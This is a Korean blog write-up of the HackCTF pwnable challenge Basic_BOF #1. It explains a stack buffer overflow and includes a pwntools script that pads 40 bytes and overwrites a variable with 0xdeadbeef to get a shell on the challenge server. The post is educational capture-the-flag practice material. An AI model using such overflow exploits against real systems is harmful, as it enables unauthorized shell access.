반응형
Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 개발하기
- vcruntime.dll
- C언어 패킷캡쳐
- arudino
- Windows Kernel Driver
- Msvcrt.dll
- 바이트 오더
- 네트워크 바이트 오더
- 포너블
- Windows Kernel
- pcap packet
- 윈도우 커널 디버깅
- hacking
- vcruntime140.dll
- Windows Kernel Debug
- packet capture
- 해킹
- IAT Hooking
- 윈도우 커널 드라이버
- Network Byte Order
- 시스템해킹
- pcap packet capture
- pwnable
- 윈도우 커널
- apphelp.dll
- windows kernel debugging
- Windows
- HackCTF
- 개발 환경 준비
- ucrtbase.dll
Archives
- Today
- Total
미친해커
[HackCTF] Pwnable : Basic_BOF #1 본문
반응형
지금까지 블로그 작성을 미루다가 19살이 되어 본격적으로 HackCTF를 풀면서 Write-Up 을 작성하게 되었다.. 너무 늦은 감이 있지만 지금부터라도 열심히 해야지 쓸때없는말은 여기까지!
HackCTF의 첫번째 포너블 문제다. 이름이 Basic_BOF 인 것으로 보아 간단한 Buffer OverFlow 문제로 예상된다.
바이너리를 다운받을 수 있으니 IDA Pro를 이용해 디컴파일을 해보자
main 함수를 보니 변수 s와 v5가 선언되어 있다. s에 데이터를 입력받고 s와 v5의 데이터를 출력한다.
s부터 v5까지의 거리는 0x34 - 0xC = 0x28 총 40바이트이다. 즉 s의 공간은 40바이트이다.
아래쪽 if 문에서 v5가 0xDEADBEEF 라면 Shell을 띄워준다. fgets에서 45바이트를 입력받으므로 s를 40바이트로 모두 채우고Buffer OverFlow 발생시켜 v5를 조작해 Shell을 얻어낼 수 있다.
# file : bof_basic.py
from pwn import *
#p = process('./bof_basic')
p = remote('ctf.j0n9hyun.xyz', 3000)
payload = 'A' * 40 + p32(0xdeadbeef)
p.sendline(payload)
p.interactive()
payload는 s의 시작부터 v5 전까지 40 바이트를 채워준다. 그 뒤에 들어가는 데이터는 v5를 덮어쓰게 된다. 그러니 다음은 0xDEADBEEF를 리틀엔디안 방식으로 패킹하여 붙여준다. 그러면 다음과 같이 쉘을 얻어 flag를 얻을 수 있게 된다.
반응형
'Hacking > HackCTF' 카테고리의 다른 글
[HackCTF] Pwnable : x64 Simple_size_BOF (Simple_size_bof) (0) | 2021.06.19 |
---|---|
[HackCTF] Pwnable : x64 Buffer Overflow (64bof_basic) (0) | 2021.06.18 |
[HackCTF] Pwnable : 내 버퍼가 흘러넘친다!!! (prob1) (0) | 2021.06.17 |
[HackCTF] Pwnable : Basic_FSB (0) | 2021.06.17 |
[HackCTF] Pwnable : Basic_BOF #2 (0) | 2021.06.16 |
Comments